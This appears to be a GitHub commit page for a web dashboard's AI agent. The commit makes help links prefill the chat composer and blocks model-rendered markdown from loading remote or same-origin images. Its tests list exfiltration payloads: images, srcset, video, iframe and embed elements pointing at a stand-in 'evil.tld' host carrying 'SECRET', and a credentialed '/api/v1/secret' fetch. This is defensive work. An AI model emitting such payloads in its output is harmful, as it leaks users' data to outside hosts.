Skip to content

Commit f1e4397

Browse files
kathiekiwiTrigger.dev RepoOps
authored andcommitted
fix(webapp): Dashboard Agent help links prefill the composer; model markdown cannot load images
Dashboard Agent: help links now prefill the chat composer instead of sending, and model-rendered markdown can no longer load external or same-origin images. Mono-RevId: 5a11edbd01feee56affe37f4bf505f86cae43c68
1 parent 135eaf6 commit f1e4397

8 files changed

Lines changed: 340 additions & 15 deletions
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
---
2+
area: webapp
3+
type: fix
4+
---
5+
6+
Help links (`?aiHelp=`, `/ai-help`) now prefill the chat composer instead of sending.

‎apps/webapp/app/components/code/StreamdownRenderer.test.ts‎

Lines changed: 30 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -34,13 +34,20 @@ describe("restrictModelUrls (image src)", () => {
3434
expect(restrictModelUrls("\u0000https://evil.tld/p.gif", "src", img)).toBeUndefined();
3535
});
3636

37-
it("keeps inline and same-origin images", () => {
37+
it("keeps inline images", () => {
3838
expect(restrictModelUrls("data:image/png;base64,AAAA", "src", img)).toBe(
3939
"data:image/png;base64,AAAA"
4040
);
4141
expect(restrictModelUrls("blob:abc", "src", img)).toBe("blob:abc");
42-
expect(restrictModelUrls("/local/pic.png", "src", img)).toBe("/local/pic.png");
4342
});
43+
44+
// Catches: the relative/root-relative fallthrough `return url` in the image branch
45+
it.each(["/api/v1/secret", "relative.png", "./a.png", "../a.png"])(
46+
"drops same-origin image %s, which would fire a credentialed GET",
47+
(src) => {
48+
expect(restrictModelUrls(src, "src", img)).toBeUndefined();
49+
}
50+
);
4451
});
4552

4653
describe("restrictModelUrls (link href)", () => {
@@ -105,16 +112,34 @@ describe("StreamdownRenderer (rendered markdown)", () => {
105112
[
106113
"![x](https://www.google.com/s2/favicons?domain=SECRET.evil.tld)",
107114
"![y](//evil.tld/pixel.gif)",
108-
"![z](/local/pic.png)",
115+
"![z](/api/v1/secret)",
116+
"![w](relative.png)",
109117
].join("\n\n")
110118
);
111119

112120
// No remote host is ever fetched: no absolute or protocol-relative image src survives.
113121
expect(html).not.toContain('src="http');
114122
expect(html).not.toContain('src="//');
115123
expect(html).not.toContain("SECRET.evil.tld");
116-
// A same-origin relative image is untouched, so the policy does not over-block.
117-
expect(html).toContain('src="/local/pic.png"');
124+
expect(html).not.toContain("/api/v1/secret");
125+
expect(html).not.toContain("relative.png");
126+
});
127+
128+
// Catches: picture/source allowed again in the sanitize schema (srcset skips urlTransform)
129+
it("never renders picture/source or other elements that fetch a remote url", async () => {
130+
const html = await render(
131+
[
132+
'<picture><source srcset="https://evil.tld/?d=SECRET"><img alt="p"></picture>',
133+
'<video poster="https://evil.tld/v" src="https://evil.tld/v"></video>',
134+
'<audio src="https://evil.tld/a"></audio>',
135+
'<object data="https://evil.tld/o"></object>',
136+
'<embed src="https://evil.tld/e">',
137+
'<iframe src="https://evil.tld/i"></iframe>',
138+
].join("\n\n")
139+
);
140+
141+
expect(html).not.toContain("evil.tld");
142+
expect(html).not.toMatch(/<(picture|source|video|audio|object|embed|iframe)/);
118143
});
119144

120145
it("resolves a trigger:// citation to an anchor with the resolved path", async () => {

‎apps/webapp/app/components/code/StreamdownRenderer.tsx‎

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,8 @@ const SAFE_LINK_SCHEMES = new Set(["http:", "https:", "mailto:"]);
1616
*/
1717
export const restrictModelUrls: UrlTransform = (url, key, node) => {
1818
const value = url.trim();
19-
const isImage = node.tagName === "img" || key === "src" || key === "srcset";
19+
const attr = key.toLowerCase();
20+
const isImage = node.tagName === "img" || attr === "src" || attr === "srcset";
2021
// What the browser will actually resolve, which is not what `trim()` leaves: the URL parser
2122
// drops C0 controls (`trim()` keeps them) and reads `\` as `/` for special schemes, so
2223
// a leading-control `//evil.tld` and `\\evil.tld` both name a remote host. Classify on this; return the
@@ -26,11 +27,9 @@ export const restrictModelUrls: UrlTransform = (url, key, node) => {
2627
.replace(/^[/\\]+/, (run) => "/".repeat(run.length));
2728

2829
if (isImage) {
29-
// Inline images carry their own bytes; a relative path resolves to our own origin.
30+
// Inline images carry their own bytes; anything else (remote or relative) would be fetched.
3031
if (/^data:/i.test(normalized) || /^blob:/i.test(normalized)) return url;
31-
// Absolute or protocol-relative means a remote host — strip it so nothing is fetched.
32-
if (/^[a-z][a-z0-9+.-]*:/i.test(normalized) || normalized.startsWith("//")) return undefined;
33-
return url;
32+
return undefined;
3433
}
3534

3635
// Links: relative and protocol-relative are fine; otherwise require a safe scheme.
@@ -144,12 +143,21 @@ export function loadStreamdownRenderer(
144143
if (key !== "sanitize") return entry;
145144
const [sanitizePlugin, sanitizeSchema] = entry as unknown as [
146145
unknown,
147-
{ protocols?: Record<string, string[]> },
146+
{
147+
protocols?: Record<string, string[]>;
148+
tagNames?: string[];
149+
attributes?: Record<string, unknown>;
150+
},
148151
];
152+
const { source: _source, ...attributes } = sanitizeSchema.attributes ?? {};
149153
return [
150154
sanitizePlugin,
151155
{
152156
...sanitizeSchema,
157+
tagNames: sanitizeSchema.tagNames?.filter(
158+
(tag) => tag !== "picture" && tag !== "source"
159+
),
160+
attributes,
153161
protocols: {
154162
...sanitizeSchema.protocols,
155163
href: [...(sanitizeSchema.protocols?.href ?? []), "trigger"],

‎apps/webapp/app/components/dashboard-agent/DashboardAgent.tsx‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -150,6 +150,9 @@ export function DashboardAgent({
150150
const [requestedMessage, setRequestedMessage] = useState<
151151
{ text: string; seq: number } | undefined
152152
>(undefined);
153+
const [prefillRequest, setPrefillRequest] = useState<{ text: string; seq: number } | undefined>(
154+
undefined
155+
);
153156
// `seq` so the same chat can be asked for twice.
154157
const [openChatRequest, setOpenChatRequest] = useState<
155158
{ chatId: string; seq: number } | undefined
@@ -185,6 +188,7 @@ export function DashboardAgent({
185188
// starts from the account preference again.
186189
resetToPreference();
187190
setRequestedMessage(undefined);
191+
setPrefillRequest(undefined);
188192
setOpenChatRequest(undefined);
189193
setOpenSource(undefined);
190194
setCreateAlertPrefill(undefined);
@@ -207,6 +211,19 @@ export function DashboardAgent({
207211
[openPanel]
208212
);
209213

214+
const prefillWith = useCallback(
215+
(text: string) => {
216+
const trimmed = text.trim();
217+
if (!trimmed) return;
218+
openPanel();
219+
setEditAlertRequest(undefined);
220+
setGroupAlertsRequest(undefined);
221+
setOpenSource(undefined);
222+
setPrefillRequest((current) => ({ text: trimmed, seq: (current?.seq ?? 0) + 1 }));
223+
},
224+
[openPanel]
225+
);
226+
210227
const openCreateAlert = useCallback(
211228
(prefill: DraftPrefillParams) => {
212229
openPanel();
@@ -321,6 +338,7 @@ export function DashboardAgent({
321338
useDashboardAgentOpenRequests({
322339
enabled: hasAccess,
323340
openWith,
341+
prefillWith,
324342
setOpen: setPanelOpen,
325343
deepLinkParams: agentDeepLinkParams(),
326344
});
@@ -387,6 +405,7 @@ export function DashboardAgent({
387405
<DashboardAgentPanel
388406
onClose={() => setPanelOpen(false)}
389407
requestedMessage={requestedMessage}
408+
prefillRequest={prefillRequest}
390409
openSource={openSource}
391410
createAlertPrefill={createAlertPrefill}
392411
editAlertRequest={editAlertRequest}

‎apps/webapp/app/components/dashboard-agent/DashboardAgentDraft.tsx‎

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,18 @@
1-
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
1+
import { sliceWellFormed, type SuggestedPrompt } from "@internal/dashboard-agent-contracts";
22
import { useCallback, useState } from "react";
33
import { AgentUpgradeBlock } from "./AgentUpgradeGate";
44
import { DashboardAgentComposer } from "./DashboardAgentComposer";
55
import { DashboardAgentContextBanner } from "./DashboardAgentContextBanner";
66
import { DashboardAgentHero } from "./DashboardAgentHero";
7+
import { MAX_MESSAGE_CHARS } from "./message-limits";
78
import { MESSAGE_QUOTA_REACHED_REASON } from "./message-quota";
89
import type { AgentPageContext } from "./page-context-types";
910

1011
// Chat ids are server-owned: the first send goes to the panel's `create` call, which
1112
// returns the id, and only then does `DashboardAgentChat` mount.
1213
export function DashboardAgentDraft({
1314
onSubmit,
15+
prefill,
1416
projectName,
1517
environmentSlug,
1618
entityId,
@@ -20,6 +22,8 @@ export function DashboardAgentDraft({
2022
autoFocus,
2123
}: {
2224
onSubmit: (text: string) => void;
25+
/** Fills the composer without sending. */
26+
prefill?: { text: string; seq: number };
2327
projectName: string;
2428
environmentSlug: string;
2529
entityId?: string;
@@ -30,6 +34,14 @@ export function DashboardAgentDraft({
3034
autoFocus?: boolean;
3135
}) {
3236
const [input, setInput] = useState("");
37+
const [focusKey, setFocusKey] = useState<number | undefined>(undefined);
38+
39+
const [appliedSeq, setAppliedSeq] = useState<number | undefined>(undefined);
40+
if (prefill && prefill.seq !== appliedSeq) {
41+
setAppliedSeq(prefill.seq);
42+
setInput(sliceWellFormed(prefill.text, MAX_MESSAGE_CHARS));
43+
setFocusKey(prefill.seq);
44+
}
3345

3446
const submit = useCallback(
3547
(text: string) => {
@@ -73,7 +85,8 @@ export function DashboardAgentDraft({
7385
onSubmit={() => submit(input)}
7486
onStop={() => {}}
7587
isStreaming={false}
76-
autoFocus={autoFocus}
88+
autoFocus={(autoFocus ?? true) || focusKey !== undefined}
89+
focusKey={focusKey}
7790
context={
7891
<DashboardAgentContextBanner
7992
projectName={projectName}

0 commit comments

Comments
 (0)